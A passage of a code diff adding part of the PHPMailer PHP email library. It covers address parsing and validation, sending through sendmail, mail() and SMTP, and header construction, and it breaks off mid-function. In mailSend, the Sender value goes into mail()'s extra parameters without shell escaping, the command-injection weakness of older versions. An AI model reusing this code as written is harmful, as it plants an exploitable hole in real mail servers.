" into an array of name/address pairs. + * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. + * Note that quotes in the name part are removed. + * @param string $addrstr The address list string + * @param bool $useimap Whether to use the IMAP extension to parse the list + * @return array + * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation + */ + public function parseAddresses($addrstr, $useimap = true) + { + $addresses = array(); + if ($useimap and function_exists('imap_rfc822_parse_adrlist')) { + //Use this built-in parser if it's available + $list = imap_rfc822_parse_adrlist($addrstr, ''); + foreach ($list as $address) { + if ($address->host != '.SYNTAX-ERROR.') { + if ($this->validateAddress($address->mailbox . '@' . $address->host)) { + $addresses[] = array( + 'name' => (property_exists($address, 'personal') ? $address->personal : ''), + 'address' => $address->mailbox . '@' . $address->host + ); + } + } + } + } else { + //Use this simpler parser + $list = explode(',', $addrstr); + foreach ($list as $address) { + $address = trim($address); + //Is there a separate name part? + if (strpos($address, '<') === false) { + //No separate name, just use the whole thing + if ($this->validateAddress($address)) { + $addresses[] = array( + 'name' => '', + 'address' => $address + ); + } + } else { + list($name, $email) = explode('<', $address); + $email = trim(str_replace('>', '', $email)); + if ($this->validateAddress($email)) { + $addresses[] = array( + 'name' => trim(str_replace(array('"', "'"), '', $name)), + 'address' => $email + ); + } + } + } + } + return $addresses; + } + + /** + * Set the From and FromName properties. + * @param string $address + * @param string $name + * @param boolean $auto Whether to also set the Sender address, defaults to true + * @throws phpmailerException + * @return boolean + */ + public function setFrom($address, $name = '', $auto = true) + { + $address = trim($address); + $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim + // Don't validate now addresses with IDN. Will be done in send(). + if (($pos = strrpos($address, '@')) === false or + (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and + !$this->validateAddress($address)) { + $error_message = $this->lang('invalid_address') . " (setFrom) $address"; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new phpmailerException($error_message); + } + return false; + } + $this->From = $address; + $this->FromName = $name; + if ($auto) { + if (empty($this->Sender)) { + $this->Sender = $address; + } + } + return true; + } + + /** + * Return the Message-ID header of the last email. + * Technically this is the value from the last time the headers were created, + * but it's also the message ID of the last sent message except in + * pathological cases. + * @return string + */ + public function getLastMessageID() + { + return $this->lastMessageID; + } + + /** + * Check that a string looks like an email address. + * @param string $address The email address to check + * @param string $patternselect A selector for the validation pattern to use : + * * `auto` Pick best pattern automatically; + * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14; + * * `pcre` Use old PCRE implementation; + * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; + * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. + * * `noregex` Don't use a regex: super fast, really dumb. + * @return boolean + * @static + * @access public + */ + public static function validateAddress($address, $patternselect = 'auto') + { + //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 + if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { + return false; + } + if (!$patternselect or $patternselect == 'auto') { + //Check this constant first so it works when extension_loaded() is disabled by safe mode + //Constant was added in PHP 5.2.4 + if (defined('PCRE_VERSION')) { + //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 + if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { + $patternselect = 'pcre8'; + } else { + $patternselect = 'pcre'; + } + } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { + //Fall back to older PCRE + $patternselect = 'pcre'; + } else { + //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension + if (version_compare(PHP_VERSION, '5.2.0') >= 0) { + $patternselect = 'php'; + } else { + $patternselect = 'noregex'; + } + } + } + switch ($patternselect) { + case 'pcre8': + /** + * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. + * @link http://squiloople.com/2009/12/20/email-address-validation/ + * @copyright 2009-2010 Michael Rushton + * Feel free to use and redistribute this code. But please keep this copyright notice. + */ + return (boolean)preg_match( + '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . + '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . + '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . + '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . + '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . + '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . + '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . + '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . + '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', + $address + ); + case 'pcre': + //An older regex that doesn't need a recent PCRE + return (boolean)preg_match( + '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . + '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . + '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . + '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . + '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . + '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . + '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . + '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . + '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . + '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', + $address + ); + case 'html5': + /** + * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. + * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) + */ + return (boolean)preg_match( + '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . + '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', + $address + ); + case 'noregex': + //No PCRE! Do something _very_ approximate! + //Check the address is 3 chars or longer and contains an @ that's not the first or last char + return (strlen($address) >= 3 + and strpos($address, '@') >= 1 + and strpos($address, '@') != strlen($address) - 1); + case 'php': + default: + return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); + } + } + + /** + * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the + * "intl" and "mbstring" PHP extensions. + * @return bool "true" if required functions for IDN support are present + */ + public function idnSupported() + { + // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2. + return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding'); + } + + /** + * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. + * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. + * This function silently returns unmodified address if: + * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) + * - Conversion to punycode is impossible (e.g. required PHP functions are not available) + * or fails for any reason (e.g. domain has characters not allowed in an IDN) + * @see PHPMailer::$CharSet + * @param string $address The email address to convert + * @return string The encoded address in ASCII form + */ + public function punyencodeAddress($address) + { + // Verify we have required functions, CharSet, and at-sign. + if ($this->idnSupported() and + !empty($this->CharSet) and + ($pos = strrpos($address, '@')) !== false) { + $domain = substr($address, ++$pos); + // Verify CharSet string is a valid one, and domain properly encoded in this CharSet. + if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { + $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet); + if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? + idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : + idn_to_ascii($domain)) !== false) { + return substr($address, 0, $pos) . $punycode; + } + } + } + return $address; + } + + /** + * Create a message and send it. + * Uses the sending method specified by $Mailer. + * @throws phpmailerException + * @return boolean false on error - See the ErrorInfo property for details of the error. + */ + public function send() + { + try { + if (!$this->preSend()) { + return false; + } + return $this->postSend(); + } catch (phpmailerException $exc) { + $this->mailHeader = ''; + $this->setError($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + return false; + } + } + + /** + * Prepare a message for sending. + * @throws phpmailerException + * @return boolean + */ + public function preSend() + { + try { + $this->error_count = 0; // Reset errors + $this->mailHeader = ''; + + // Dequeue recipient and Reply-To addresses with IDN + foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { + $params[1] = $this->punyencodeAddress($params[1]); + call_user_func_array(array($this, 'addAnAddress'), $params); + } + if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { + throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL); + } + + // Validate From, Sender, and ConfirmReadingTo addresses + foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) { + $this->$address_kind = trim($this->$address_kind); + if (empty($this->$address_kind)) { + continue; + } + $this->$address_kind = $this->punyencodeAddress($this->$address_kind); + if (!$this->validateAddress($this->$address_kind)) { + $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new phpmailerException($error_message); + } + return false; + } + } + + // Set whether the message is multipart/alternative + if ($this->alternativeExists()) { + $this->ContentType = 'multipart/alternative'; + } + + $this->setMessageType(); + // Refuse to send an empty message unless we are specifically allowing it + if (!$this->AllowEmpty and empty($this->Body)) { + throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL); + } + + // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) + $this->MIMEHeader = ''; + $this->MIMEBody = $this->createBody(); + // createBody may have added some headers, so retain them + $tempheaders = $this->MIMEHeader; + $this->MIMEHeader = $this->createHeader(); + $this->MIMEHeader .= $tempheaders; + + // To capture the complete message when using mail(), create + // an extra header list which createHeader() doesn't fold in + if ($this->Mailer == 'mail') { + if (count($this->to) > 0) { + $this->mailHeader .= $this->addrAppend('To', $this->to); + } else { + $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); + } + $this->mailHeader .= $this->headerLine( + 'Subject', + $this->encodeHeader($this->secureHeader(trim($this->Subject))) + ); + } + + // Sign with DKIM if enabled + if (!empty($this->DKIM_domain) + && !empty($this->DKIM_private) + && !empty($this->DKIM_selector) + && file_exists($this->DKIM_private)) { + $header_dkim = $this->DKIM_Add( + $this->MIMEHeader . $this->mailHeader, + $this->encodeHeader($this->secureHeader($this->Subject)), + $this->MIMEBody + ); + $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . + str_replace("\r\n", "\n", $header_dkim) . self::CRLF; + } + return true; + } catch (phpmailerException $exc) { + $this->setError($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + return false; + } + } + + /** + * Actually send a message. + * Send the email via the selected mechanism + * @throws phpmailerException + * @return boolean + */ + public function postSend() + { + try { + // Choose the mailer and send through it + switch ($this->Mailer) { + case 'sendmail': + case 'qmail': + return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); + case 'smtp': + return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); + case 'mail': + return $this->mailSend($this->MIMEHeader, $this->MIMEBody); + default: + $sendMethod = $this->Mailer.'Send'; + if (method_exists($this, $sendMethod)) { + return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); + } + + return $this->mailSend($this->MIMEHeader, $this->MIMEBody); + } + } catch (phpmailerException $exc) { + $this->setError($exc->getMessage()); + $this->edebug($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + } + return false; + } + + /** + * Send mail using the $Sendmail program. + * @param string $header The message headers + * @param string $body The message body + * @see PHPMailer::$Sendmail + * @throws phpmailerException + * @access protected + * @return boolean + */ + protected function sendmailSend($header, $body) + { + if ($this->Sender != '') { + if ($this->Mailer == 'qmail') { + $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); + } else { + $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); + } + } else { + if ($this->Mailer == 'qmail') { + $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail)); + } else { + $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail)); + } + } + if ($this->SingleTo) { + foreach ($this->SingleToArray as $toAddr) { + if (!@$mail = popen($sendmail, 'w')) { + throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + fputs($mail, 'To: ' . $toAddr . "\n"); + fputs($mail, $header); + fputs($mail, $body); + $result = pclose($mail); + $this->doCallback( + ($result == 0), + array($toAddr), + $this->cc, + $this->bcc, + $this->Subject, + $body, + $this->From + ); + if ($result != 0) { + throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + } + } else { + if (!@$mail = popen($sendmail, 'w')) { + throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + fputs($mail, $header); + fputs($mail, $body); + $result = pclose($mail); + $this->doCallback( + ($result == 0), + $this->to, + $this->cc, + $this->bcc, + $this->Subject, + $body, + $this->From + ); + if ($result != 0) { + throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + } + return true; + } + + /** + * Send mail using the PHP mail() function. + * @param string $header The message headers + * @param string $body The message body + * @link http://www.php.net/manual/en/book.mail.php + * @throws phpmailerException + * @access protected + * @return boolean + */ + protected function mailSend($header, $body) + { + $toArr = array(); + foreach ($this->to as $toaddr) { + $toArr[] = $this->addrFormat($toaddr); + } + $to = implode(', ', $toArr); + + if (empty($this->Sender)) { + $params = ' '; + } else { + $params = sprintf('-f%s', $this->Sender); + } + if ($this->Sender != '' and !ini_get('safe_mode')) { + $old_from = ini_get('sendmail_from'); + ini_set('sendmail_from', $this->Sender); + } + $result = false; + if ($this->SingleTo && count($toArr) > 1) { + foreach ($toArr as $toAddr) { + $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); + $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); + } + } else { + $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); + $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); + } + if (isset($old_from)) { + ini_set('sendmail_from', $old_from); + } + if (!$result) { + throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL); + } + return true; + } + + /** + * Get an instance to use for SMTP operations. + * Override this function to load your own SMTP implementation + * @return SMTP + */ + public function getSMTPInstance() + { + if (!is_object($this->smtp)) { + $this->smtp = new SMTP; + } + return $this->smtp; + } + + /** + * Send mail via SMTP. + * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. + * Uses the PHPMailerSMTP class by default. + * @see PHPMailer::getSMTPInstance() to use a different class. + * @param string $header The message headers + * @param string $body The message body + * @throws phpmailerException + * @uses SMTP + * @access protected + * @return boolean + */ + protected function smtpSend($header, $body) + { + $bad_rcpt = array(); + if (!$this->smtpConnect($this->SMTPOptions)) { + throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); + } + if ('' == $this->Sender) { + $smtp_from = $this->From; + } else { + $smtp_from = $this->Sender; + } + if (!$this->smtp->mail($smtp_from)) { + $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); + throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); + } + + // Attempt to send to all recipients + foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { + foreach ($togroup as $to) { + if (!$this->smtp->recipient($to[0])) { + $error = $this->smtp->getError(); + $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']); + $isSent = false; + } else { + $isSent = true; + } + $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); + } + } + + // Only send the DATA command if we have viable recipients + if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { + throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL); + } + if ($this->SMTPKeepAlive) { + $this->smtp->reset(); + } else { + $this->smtp->quit(); + $this->smtp->close(); + } + //Create error message for any bad addresses + if (count($bad_rcpt) > 0) { + $errstr = ''; + foreach ($bad_rcpt as $bad) { + $errstr .= $bad['to'] . ': ' . $bad['error']; + } + throw new phpmailerException( + $this->lang('recipients_failed') . $errstr, + self::STOP_CONTINUE + ); + } + return true; + } + + /** + * Initiate a connection to an SMTP server. + * Returns false if the operation failed. + * @param array $options An array of options compatible with stream_context_create() + * @uses SMTP + * @access public + * @throws phpmailerException + * @return boolean + */ + public function smtpConnect($options = array()) + { + if (is_null($this->smtp)) { + $this->smtp = $this->getSMTPInstance(); + } + + // Already connected? + if ($this->smtp->connected()) { + return true; + } + + $this->smtp->setTimeout($this->Timeout); + $this->smtp->setDebugLevel($this->SMTPDebug); + $this->smtp->setDebugOutput($this->Debugoutput); + $this->smtp->setVerp($this->do_verp); + $hosts = explode(';', $this->Host); + $lastexception = null; + + foreach ($hosts as $hostentry) { + $hostinfo = array(); + if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { + // Not a valid host entry + continue; + } + // $hostinfo[2]: optional ssl or tls prefix + // $hostinfo[3]: the hostname + // $hostinfo[4]: optional port number + // The host string prefix can temporarily override the current setting for SMTPSecure + // If it's not specified, the default value is used + $prefix = ''; + $secure = $this->SMTPSecure; + $tls = ($this->SMTPSecure == 'tls'); + if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { + $prefix = 'ssl://'; + $tls = false; // Can't have SSL and TLS at the same time + $secure = 'ssl'; + } elseif ($hostinfo[2] == 'tls') { + $tls = true; + // tls doesn't use a prefix + $secure = 'tls'; + } + //Do we need the OpenSSL extension? + $sslext = defined('OPENSSL_ALGO_SHA1'); + if ('tls' === $secure or 'ssl' === $secure) { + //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled + if (!$sslext) { + throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); + } + } + $host = $hostinfo[3]; + $port = $this->Port; + $tport = (integer)$hostinfo[4]; + if ($tport > 0 and $tport < 65536) { + $port = $tport; + } + if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { + try { + if ($this->Helo) { + $hello = $this->Helo; + } else { + $hello = $this->serverHostname(); + } + $this->smtp->hello($hello); + //Automatically enable TLS encryption if: + // * it's not disabled + // * we have openssl extension + // * we are not already using SSL + // * the server offers STARTTLS + if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { + $tls = true; + } + if ($tls) { + if (!$this->smtp->startTLS()) { + throw new phpmailerException($this->lang('connect_host')); + } + // We must resend HELO after tls negotiation + $this->smtp->hello($hello); + } + if ($this->SMTPAuth) { + if (!$this->smtp->authenticate( + $this->Username, + $this->Password, + $this->AuthType, + $this->Realm, + $this->Workstation + ) + ) { + throw new phpmailerException($this->lang('authenticate')); + } + } + return true; + } catch (phpmailerException $exc) { + $lastexception = $exc; + $this->edebug($exc->getMessage()); + // We must have connected, but then failed TLS or Auth, so close connection nicely + $this->smtp->quit(); + } + } + } + // If we get here, all connection attempts have failed, so close connection hard + $this->smtp->close(); + // As we've caught all exceptions, just report whatever the last one was + if ($this->exceptions and !is_null($lastexception)) { + throw $lastexception; + } + return false; + } + + /** + * Close the active SMTP session if one exists. + * @return void + */ + public function smtpClose() + { + if ($this->smtp !== null) { + if ($this->smtp->connected()) { + $this->smtp->quit(); + $this->smtp->close(); + } + } + } + + /** + * Set the language for error messages. + * Returns false if it cannot load the language file. + * The default language is English. + * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") + * @param string $lang_path Path to the language file directory, with trailing separator (slash) + * @return boolean + * @access public + */ + public function setLanguage($langcode = 'en', $lang_path = '') + { + // Define full set of translatable strings in English + $PHPMAILER_LANG = array( + 'authenticate' => 'SMTP Error: Could not authenticate.', + 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', + 'data_not_accepted' => 'SMTP Error: data not accepted.', + 'empty_message' => 'Message body empty', + 'encoding' => 'Unknown encoding: ', + 'execute' => 'Could not execute: ', + 'file_access' => 'Could not access file: ', + 'file_open' => 'File Error: Could not open file: ', + 'from_failed' => 'The following From address failed: ', + 'instantiate' => 'Could not instantiate mail function.', + 'invalid_address' => 'Invalid address: ', + 'mailer_not_supported' => ' mailer is not supported.', + 'provide_address' => 'You must provide at least one recipient email address.', + 'recipients_failed' => 'SMTP Error: The following recipients failed: ', + 'signing' => 'Signing Error: ', + 'smtp_connect_failed' => 'SMTP connect() failed.', + 'smtp_error' => 'SMTP server error: ', + 'variable_set' => 'Cannot set or reset variable: ', + 'extension_missing' => 'Extension missing: ' + ); + if (empty($lang_path)) { + // Calculate an absolute path so it can work if CWD is not here + $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR; + } + $foundlang = true; + $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; + // There is no English translation file + if ($langcode != 'en') { + // Make sure language file path is readable + if (!is_readable($lang_file)) { + $foundlang = false; + } else { + // Overwrite language-specific strings. + // This way we'll never have missing translation keys. + $foundlang = include $lang_file; + } + } + $this->language = $PHPMAILER_LANG; + return (boolean)$foundlang; // Returns false if language not found + } + + /** + * Get the array of strings for the current language. + * @return array + */ + public function getTranslations() + { + return $this->language; + } + + /** + * Create recipient headers. + * @access public + * @param string $type + * @param array $addr An array of recipient, + * where each recipient is a 2-element indexed array with element 0 containing an address + * and element 1 containing a name, like: + * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User')) + * @return string + */ + public function addrAppend($type, $addr) + { + $addresses = array(); + foreach ($addr as $address) { + $addresses[] = $this->addrFormat($address); + } + return $type . ': ' . implode(', ', $addresses) . $this->LE; + } + + /** + * Format an address for use in a message header. + * @access public + * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name + * like array('joe@example.com', 'Joe User') + * @return string + */ + public function addrFormat($addr) + { + if (empty($addr[1])) { // No name provided + return $this->secureHeader($addr[0]); + } else { + return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( + $addr[0] + ) . '>'; + } + } + + /** + * Word-wrap message. + * For use with mailers that do not automatically perform wrapping + * and for quoted-printable encoded messages. + * Original written by philippe. + * @param string $message The message to wrap + * @param integer $length The line length to wrap to + * @param boolean $qp_mode Whether to run in Quoted-Printable mode + * @access public + * @return string + */ + public function wrapText($message, $length, $qp_mode = false) + { + if ($qp_mode) { + $soft_break = sprintf(' =%s', $this->LE); + } else { + $soft_break = $this->LE; + } + // If utf-8 encoding is used, we will need to make sure we don't + // split multibyte characters when we wrap + $is_utf8 = (strtolower($this->CharSet) == 'utf-8'); + $lelen = strlen($this->LE); + $crlflen = strlen(self::CRLF); + + $message = $this->fixEOL($message); + //Remove a trailing line break + if (substr($message, -$lelen) == $this->LE) { + $message = substr($message, 0, -$lelen); + } + + //Split message into lines + $lines = explode($this->LE, $message); + //Message will be rebuilt in here + $message = ''; + foreach ($lines as $line) { + $words = explode(' ', $line); + $buf = ''; + $firstword = true; + foreach ($words as $word) { + if ($qp_mode and (strlen($word) > $length)) { + $space_left = $length - strlen($buf) - $crlflen; + if (!$firstword) { + if ($space_left > 20) { + $len = $space_left; + if ($is_utf8) { + $len = $this->utf8CharBoundary($word, $len); + } elseif (substr($word, $len - 1, 1) == '=') { + $len--; + } elseif (substr($word, $len - 2, 1) == '=') { + $len -= 2; + } + $part = substr($word, 0, $len); + $word = substr($word, $len); + $buf .= ' ' . $part; + $message .= $buf . sprintf('=%s', self::CRLF); + } else { + $message .= $buf . $soft_break; + } + $buf = ''; + } + while (strlen($word) > 0) { + if ($length <= 0) { + break; + } + $len = $length; + if ($is_utf8) { + $len = $this->utf8CharBoundary($word, $len); + } elseif (substr($word, $len - 1, 1) == '=') { + $len--; + } elseif (substr($word, $len - 2, 1) == '=') { + $len -= 2; + } + $part = substr($word, 0, $len); + $word = substr($word, $len); + + if (strlen($word) > 0) { + $message .= $part . sprintf('=%s', self::CRLF); + } else { + $buf = $part; + } + } + } else { + $buf_o = $buf; + if (!$firstword) { + $buf .= ' '; + } + $buf .= $word; + + if (strlen($buf) > $length and $buf_o != '') { + $message .= $buf_o . $soft_break; + $buf = $word; + } + } + $firstword = false; + } + $message .= $buf . self::CRLF; + } + + return $message; + } + + /** + * Find the last character boundary prior to $maxLength in a utf-8 + * quoted-printable encoded string. + * Original written by Colin Brown. + * @access public + * @param string $encodedText utf-8 QP text + * @param integer $maxLength Find the last character boundary prior to this length + * @return integer + */ + public function utf8CharBoundary($encodedText, $maxLength) + { + $foundSplitPos = false; + $lookBack = 3; + while (!$foundSplitPos) { + $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); + $encodedCharPos = strpos($lastChunk, '='); + if (false !== $encodedCharPos) { + // Found start of encoded character byte within $lookBack block. + // Check the encoded byte value (the 2 chars after the '=') + $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); + $dec = hexdec($hex); + if ($dec < 128) { + // Single byte character. + // If the encoded char was found at pos 0, it will fit + // otherwise reduce maxLength to start of the encoded char + if ($encodedCharPos > 0) { + $maxLength = $maxLength - ($lookBack - $encodedCharPos); + } + $foundSplitPos = true; + } elseif ($dec >= 192) { + // First byte of a multi byte character + // Reduce maxLength to split at start of character + $maxLength = $maxLength - ($lookBack - $encodedCharPos); + $foundSplitPos = true; + } elseif ($dec < 192) { + // Middle byte of a multi byte character, look further back + $lookBack += 3; + } + } else { + // No encoded character found + $foundSplitPos = true; + } + } + return $maxLength; + } + + /** + * Apply word wrapping to the message body. + * Wraps the message body to the number of chars set in the WordWrap property. + * You should only do this to plain-text bodies as wrapping HTML tags may break them. + * This is called automatically by createBody(), so you don't need to call it yourself. + * @access public + * @return void + */ + public function setWordWrap() + { + if ($this->WordWrap < 1) { + return; + } + + switch ($this->message_type) { + case 'alt': + case 'alt_inline': + case 'alt_attach': + case 'alt_inline_attach': + $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); + break; + default: + $this->Body = $this->wrapText($this->Body, $this->WordWrap); + break; + } + } + + /** + * Assemble message headers. + * @access public + * @return string The assembled headers + */ + public function createHeader() + { + $result = ''; + + if ($this->MessageDate == '') { + $this->MessageDate = self::rfcDate(); + } + $result .= $this->headerLine('Date', $this->MessageDate); + + // To be created automatically by mail() + if ($this->SingleTo) { + if ($this->Mailer != 'mail') { + foreach ($this->to as $toaddr) { + $this->SingleToArray[] = $this->addrFormat($toaddr); + } + } + } else { + if (count($this->to) > 0) { + if ($this->Mailer != 'mail') { + $result .= $this->addrAppend('To', $this->to); + } + } elseif (count($this->cc) == 0) { + $result .= $this->headerLine('To', 'undisclosed-recipients:;'); + } + } + + $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName))); + + // sendmail and mail() extract Cc from the header before sending + if (count($this->cc) > 0) { + $result .= $this->addrAppend('Cc', $this->cc); + } + + // sendmail and mail() extract Bcc from the header before sending + if (( + $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' + ) + and count($this->bcc) > 0 + ) { + $result .= $this->addrAppend('Bcc', $this->bcc); + } + + if (count($this->ReplyTo) > 0) { + $result .= $this->addrAppend('Reply-To', $this->ReplyTo); + } + + // mail() sets the subject itself + if ($this->Mailer != 'mail') { + $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); + } + + if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) { + $this->lastMessageID = $this->MessageID; + } else { + $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); + } + $result .= $this->headerLine('Message-ID', $this->lastMessageID); + if (!is_null($this->Priority)) { + $result .= $this->headerLine('X-Priority', $this->Priority); + } + if ($this->XMailer == '') { + $result .= $this->headerLine( + 'X-Mailer', + 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)' + ); + } else { + $myXmailer = trim($this->XMailer); + if ($myXmailer) { + $result .= 